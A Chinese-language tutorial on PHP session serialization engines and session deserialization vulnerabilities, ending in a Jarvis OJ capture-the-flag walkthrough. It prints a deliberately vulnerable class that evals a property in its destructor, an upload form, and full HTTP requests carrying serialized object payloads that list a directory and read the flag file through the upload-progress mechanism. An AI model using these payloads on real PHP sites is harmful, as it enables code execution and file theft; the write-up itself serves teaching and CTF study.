PHP的Session存储机制
PHP session工作流程
当开始一个会话时,PHP会尝试从请求中查找会话ID,通常是使用cookie,如果请求包中未发现session id,PHP就会自动调用php_session_create_id函数创建一个新的会话,并且在响应包头中通过set-cookie参数发给客户端保存
当客户端cookie被禁用的情况下,PHP会自动将session id添加到url参数、form、hidden字段中,但这需要php.ini中的session.use_trans_sid设为开启,也可以在运行时调用ini_set()函数来设置这个配置项
PHP session会话开始之后,PHP就会将会话中的数据设置到$SESSION变量中,当PHP停止运行时,它会自动读取$SESSION中的内容,并将其进行序列化,然后发送给会话保存管理器来进行保存。默认情况下,PHP使用内置的文件会话保存管理器来完成session的保存,也可以通过配置项session.save_handler来修改所要采用的会话保存管理器。对于文件会话保存管理器,会将会话数据保存到配置项session.save_path所指定的位置
<?php
session_start();
if (!isset($_SESSION['name'])){
$_SESSION['name'] = 'atkx';
}
?>
存储的session:sess_ebcq8r4jsenrtj5o21hhq2a3a7
name|s:4:"atkx";
php.ini中一些session配置
php.ini有一下配置项用于控制Session有关的设置:
session.save_handler=files 表明session是以文件的方式来进行存储的
session.serialize_handler=php 表明session的默认序列话引擎使用的是php序列话引擎
session.save_path="D:\PHP\phpStudy\PHPTutorial\tmp\tmp" 表明所有的session文件都是存储在xampp/tmp下
session.auto_start=0 表明默认不启动session
PHP session 不同引擎的存储机制
PHP session的存储机制是由session.serialize_handler来定义引擎的,默认是以文件的方式存储,且存储的文件是由sess_sessionid来决定文件名的,当然这个文件名也不是不变的,如Codeigniter框架的session存储的文件名为ci_sessionSESSIONID
PHP中有多种session的序列话引擎,当我设置session为$_SESSION["name"] = "atkx";时。不同的引擎保存的session文件内容如下:
处理器名称 | 存储格式 |
---|---|
php | 键名 + 竖线 + 经过serialize()函数序列化处理的值 |
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值 |
php_serialize(php>5.5.4) | 经过serialize()函数序列化处理的数组 |
PHP中切换不同引擎使用的函数:
ini_set('session.serialize_handler', '调用引擎');
三种不同的session序列化处理器的处理结果
<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['name'] = "atkx";
?>
另外文件名,其实是PHPSESSIONID的值
1.序列化引擎为php序列化存储格式:键名 + 竖线 + 经过serialize()函数序列化处理的值
<?php
ini_set('session.serialize_handler', 'php');
session_start();
$_SESSION['name'] = "atkx1";
?>
存储结果:
name|s:5:"atkx1";
2.序列化引擎为php_binary序列化存储格式:键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值
<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['name'] = "atkx2";
?>
存储结果:
names:5:"atkx2";
3.序列化引擎为php_serialize序列化存储格式:经过serialize()函数序列化处理的数组
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = "atkx3";
?>
存储结果:
a:1:{s:4:"name";s:5:"atkx3";}
Session反序列化漏洞原理
如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确地反序列化。如果session值可控,则可通过构造特殊的session值导致反序列化漏洞。 session.php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["session"]=$_GET["atkx"];
传入?session=atkx,保存session为:a:1:{s:7:"session";s:4:"atkx";}
class.php
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class test {
var $hi;
function __construct(){
$this->hi = 'phpinfo();';
}
function __destruct() {
eval($this->hi);
}
}
session.php中的Session是可控的,但是反序列的魔术方法在class.php中,而session中的参数无法直接可控。 这个时候,就可以利用两个的php的session存储机制的不同实现session的反序列化攻击。
具体说:
将payload用session.php,控制存储在指定文件中
?atkx=|O:4:"test":1:{s:2:"hi";s:12:"echo "atkx";";}
此时传入的数据会按照php_serialize来进行序列化,并存储到文件中。
a:1:{s:7:"session";s:45:"|O:4:"test":1:{s:2:"hi";s:12:"echo "atkx";";}";}
再访问class.php,页面输出atkx,成功执行我们构造的函数。因为在访问class.php时,程序会按照php来反序列化SESSION中的数据(因为同域PHPSESSIONID是一样的,之前存的session也适用),此时就会反序列化伪造的数据,就会实例化test对象,最后就会执行析构函数中的eval()方法。
Session反序列化进一步利用
上述的利用达到了攻击目的,但是,局限性比较大,我们看一下条件:
两个文件session引擎配置不同
其中一个session可控
两个文件同域
如何更进一步的利用,或者较少限制的利用Session反序列化呢? 在有趣的php反序列化总结中介绍了另一种Session反序列化漏洞的利用方式。 当PHP中session.upload_progress.enabled打开时,php会记录上传文件的进度,在上传时会将其信息保存在$_SESSION中。phpbugs详情看一下这个漏洞出现的条件:
session.upload_progress.enabled = On (是否启用上传进度报告)
session.upload_progress.cleanup = Off (是否上传完成之后删除session文件)
符合条件时,上传文件进度的报告就会以写入到session文件中,所以我们可以设置一个与session.upload_progress.name同名的变量(默认名为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在$_SESSION中添加一条数据。我们就可以控制这个数据内容为我们的恶意payload。
Session序列化实例
[Jarvis OJ] PHPINFO
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
首先要对这句话敏感
ini_set('session.serialize_handler', 'php')
看到这个就应该想到PHP内置了三个处理器,用来对session进行序列化和反序列化。
get方法传入phpinfo,即可触发__construct()返回phpinfo页面 这里的session.serialize_handler默认引擎使用php_serialize而实际使用的引擎是php
且session.upload_progress.enabled也是On状态,说明写入的文件会被存到session文件中。没有$_SESSION变量赋值但符合使用不同的引擎来处理session文件,所以这里就使用到了php中的upload_process机制。
构造一个上传文件的表单
<!DOCTYPE html>
<html>
<body>
<form action="http://web.jarvisoj.com:32784/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
在phpinfo页面发现过滤了很多系统函数
dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,chmod,set_time_limit,chroot,error_log,pfsockopen,syslog,symlink,putenv,chgrp,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority
使用print_r(scandir(dirname(FILE)));,构造序列化payload
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class OowoO
{
public $mdzz='print_r(scandir(dirname(__FILE__)));';
}
$z = new OowoO();
echo serialize($z);
#O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
为防止双引号被转义,在双引号前加上\,除此之外还要加上|
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
在filename处用payload替换掉。 上传文件并抓包,,相当于PHP_SESSION_UPLOAD_PROGRESS的值等于filename的值,序列化然后存储到session文件中。
POC1:在filename处用payload替换掉
POST /index.php HTTP/1.1
Host: web.jarvisoj.com:32784
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------23899461075638356511525184357
Content-Length: 426
Connection: close
Cookie: PHPSESSID=iob5i886s5skdivao9qql610j0
Upgrade-Insecure-Requests: 1
-----------------------------23899461075638356511525184357
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
123
-----------------------------23899461075638356511525184357
Content-Disposition: form-data; name="file"; filename="|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}"
Content-Type: text/plain
123
-----------------------------23899461075638356511525184357--
POC2:在内容处用payload替换掉
POST / HTTP/1.1
Host: web.jarvisoj.com:32784
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------33217419726281796024067031867
Content-Length: 414
Connection: close
Cookie: PHPSESSID=iob5i886s5skdivao9qql610j0
Upgrade-Insecure-Requests: 1
-----------------------------33217419726281796024067031867
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
|O:5:"OowoO":1:{s:4:"mdzz";s:26:"print_r(scandir(__dir__));";}
-----------------------------33217419726281796024067031867
Content-Disposition: form-data; name="file"; filename="111.txt"
Content-Type: text/plain
123
-----------------------------33217419726281796024067031867--
可以看到Here_1s_7he_fl4g_buT_You_Cannot_see.php这个文件,flag肯定在里面,但还有一个问题就是不知道这个路径,路径的问题就需要回到phpinfo页面去查看
_SERVER["SCRIPT_FILENAME"] : /opt/lampp/htdocs/phpinfo.php
$SERVER['SCRIPT_FILENAME'] 也是包含当前运行脚本的路径,与 $SERVER['SCRIPT_NAME'] 不同的是,这是服务器端的绝对路径。
也可以用print_r(dirname(FILE));去查看绝对目录
/opt/lampp/htdocs反序列化的防御
路径和文件名已知了,最后用file_get_contents读flag
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
参考:https://blog.csdn.net/m0_56059226/article/details/120418193